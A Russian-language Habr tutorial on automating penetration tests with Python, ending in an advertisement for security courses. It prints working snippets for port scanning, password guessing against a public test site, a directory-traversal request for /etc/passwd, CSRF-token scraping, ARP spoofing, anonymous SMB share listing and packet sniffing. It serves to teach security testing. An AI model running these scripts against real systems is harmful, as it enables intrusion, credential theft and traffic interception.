Автоматизируем пентест с помощью Python
Тестирование на проникновение всегда ограничено во времени. Если черные хакеры (или просто хакеры) могут потратить недели и месяцы на проведение APT атаки, то белые хакеры не могут позволить себе такую роскошь. Есть договор на проведение пентеста и в этом договоре четко указаны сроки.
Для того, чтобы пентест был максимально эффективным, используются различные инструменты автоматизации, однако очень часто бывает так, что удобнее всего использовать собственные скрипты, так как часто возникает необходимость в некоторой кастомизации, когда нужно немного изменить код скрипта и конечно лучше менять то в чем хорошо разбираешься.
Python является один из самых распространенных языков программирования, функциональным и достаточно гибким и отлично подходит для большинства задач этичного хакинга. Его простота, обширная экосистема библиотек и кросс‑платформенная совместимость делают его незаменимым для автоматизации сетевых атак, препарирования протоколов и разработки собственных инструментов пентестинга.
Также, интерпретатор Python можно установить на различные устройства, такие как микрокомпьютеры Raspberry Pi и аналогичные, сетевое оборудование с OpenWRT прошивками и т. д. Не на все эти устройства можно установить универсальный Kali Linux c множеством предустановленных инструментов, но их тоже можно и нужно использовать для автоматизации пентеста. Также возможна ситуация, когда мы захватили хост на котором есть Python, но нет возможности поставить другие нужные инструменты, а атаку развивать как‑то нужно.
В этой статье мы рассмотрим некоторые полезные скрипты, которые позволят автоматизировать выполнение различных задач тестирования на проникновение.
Находим открытые порты
Для начала напишем небольшой сканер портов. Конечно, наш сканер будет работать не слишком быстро, так как мы будем честно пытаться открыть соединение на каждом порту из заданного диапазона, но когда нет возможности использовать Nmap или masscan
import requests
import socket
import sys
# проверяем количество аргументов
if len(sys.argv) == 2:
target = socket.gethostbyname(sys.argv[1])
else:
print("Invalid amount of Argument")
sys.exit()
try:
# сканируем до 1025 порта
for port in range(1, 1025):
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
result = sock.connect_ex((target, port))
# если соединение удалось установить, то выводим сообщение и завершаем сеанс
if result == 0:
print(f"Port {port} is open")
else:
print(f"Port {port} closed")
sock.close()
except socket.gaierror:
print("\n Hostname Could Not Be Resolved !!!!")
sys.exit()
except socket.error:
print("\n Server not responding !!!!")
sys.exit()
Если у вас есть возможность поставить библиотеку Scapy, то сканирование портов можно ускорить за счет отправки пакетов SYN и получения только ответов SYN/ACK от сканируемого узла.
from scapy.all import *
def scan_ports(host, ports):
for port in ports:
packet = IP(dst=host)/TCP(dport=port, flags='S')
response = sr1(packet, timeout=1, verbose=0)
if response and response.haslayer(TCP) and response[TCP].flags == 'SA':
print(f'Port {port}: open')
# вызываем scan_ports только для определенного набора портов
ports = [21, 22, 80, 443, 3306, 5432]
scan_ports('localhost', ports)
Подбираем пароли
Допустим, имеется веб страница с аутентификацией через веб форму. Мы можем написать скрипт для перебора паролей. Здесь важным моментом является то, что мы должны знать, как выглядит страница после удачного входа на веб ресурс.
Здесь в качестве примера можно взять уязвимый веб ресурс http://testphp.vulnweb.com/. На нем есть раздел с аутентификацией http://testphp.vulnweb.com/login.php, куда мы и будем пытаться подобрать пароль.
Посмотрим наш скрипт.
import requests
url = "http://testphp.vulnweb.com/login.php"
passwords = ["admin", "password", "123456","test"]
for pwd in passwords:
response = requests.post(url, data={"username": "test", "password": pwd})
if "E=Mail:" in response.text:
print(f"Valid password: {pwd}")
Здесь мы поочередно передаем пароли с помощью метода POST и для того, чтобы скрипт мог определить, подошел ли пароль, осуществляется проверка наличия нужного текста в полученном ответе.

В случае с уязвимой страницей у нас корректными являются учетные данные test/test И после успешного входа отображаются поля с настройками учетной записи, среди которых есть поле с названием E‑Mail:. Наличие этого значения мы и проверяем в скрипте.
Другие атаки на Web
Еще одна достаточно распространенная атака — обход каталога (Directory traversal). В ней используется недостаточная проверка безопасности или очистку предоставленных пользователем имен файлов, так что символы, представляющие «переход в родительский каталог», передаются в API файловой системы операционной системы. Уязвимое приложение может быть использовано для получения несанкционированного доступа к файловой системе.
Вот пример GET запроса к уязвимому ресурсу:
GET /vulnerable.php HTTP/1.0
Cookie: TEMPLATE=../../../../../../../../../etc/passwd
Реализовать подобный запрос на Python достаточно просто:
response = requests.get("http://vulnerable-site.com/?file=../../../../etc/passwd")
print(response.text)
При необходимости мы можем автоматизировать обработку получаемого результата тем же методом анализа response.text
, что был представлен в предыдущем примере.
Также, с помощью скриптов мы можем поискать CSRF‑токен в сессии. CSRF токен представляет собой уникальное и непредсказуемое значение, генерируемое приложением на стороне сервера и передаваемое клиенту.
Здесь для поиска мы используем регулярные выражения:
session = requests.Session()
login_page = session.get("http://vulnerable-site.com/login")
csrf_token = re.search('name="csrf" value="(.*?)"', login_page.text).group(1)
requests.post(url, data={"csrf": csrf_token, "username": "admin", "password": "pwd"})
Сетевые атаки
Помимо атак на веб, мы можем с помощью Python реализовать различные сетевые атаки. Например, в локальной сети можно выполнить ARP‑spoofing. При реализации этой атаки хакер становится посредником между отправителем и получателем и может прослушивать и при необходимости модифицировать весь проходящий трафик.

Для реализации этой атаки нам потребуется Scapy. Значение target_ip это отправитель, а gateway_ip это получатель. Далее мы отправим обоим участникам ARP сообщение с нашим МАС адресом, для того, чтобы весь трафик шел через машину атакующего.
from scapy.all import *
target_ip = "192.168.1.2"
gateway_ip = "192.168.1.1"
target_mac = getmacbyip(target_ip)
send(ARP(op=2, pdst=target_ip, hwdst=target_mac, psrc=gateway_ip), inter=0.1, loop=1)
Также полезным может быть поиск доступных SMB ресурсов, так как в расшаренных папках можно найти много интересного.
Здесь мы подключаемся к заданному ресурсу и перебираем доступные шары. В качестве учетных данных мы ничего не указываем, однако при наличии можно использовать известные пентестеру логин и пароль.
from impacket.smbconnection import SMBConnection
target="192.168.1.1"
conn = SMBConnection(target, target)
conn.login("", "")
shares = conn.listShares()
for share in shares:
print(share['shi1_netname'])
И в завершении один из самых полезных инструментов при проведении пентеста — это сниффер сетевых пакетов. Scapy обладает богатым функционалом в части работы с сетевыми пакетами и при желании, с помощью данной библиотеки можно написать разбор пакета до уровня приложений для нужного вида трафика. Мы не будем так глубоко погружаться и рассмотрим скрипт, позволяющий прослушивать трафик и перехватываться сырые IP пакеты.
from scapy.all import *
def packet_callback(packet):
if packet.haslayer(TCP):
print(f"TCP Packet: {packet[IP].src} -> {packet[IP].dst}")
print(packet.show())
sniff(prn=packet_callback, store=0)
В результате мы видим базовую информацию по заголовкам пакета на канальном, сетевом и транспортном уровнях, а также сам сырой пакет.

Далее уже можно обрабатывать полученные данные должны образом средствами Scapy и Python.
Заключение
Мы рассмотрели несколько простых скриптов, которые могут использоваться для автоматизации проведения тестирования на проникновение. При необходимости любой из этих скриптов можно модифицировать для выполнения нужных задач.
Для тех, кто хочет углубить знания в области безопасности и автоматизации, предлагаем серию открытых уроков. Присоединяйтесь, чтобы освоить практики DevSecOps, пентестинга и сетевой безопасности.
Темы уроков:
17 апреля. Фильтрация трафика в iptables
Подробнее23 апреля. Внедрение автоматизации тестирования для QA Lead
Подробнее7 мая. DevSecOps, AppSec, Pentest: где начинается одно и заканчивается другое?
Подробнее
Habrahabr.ru прочитано 6885 раз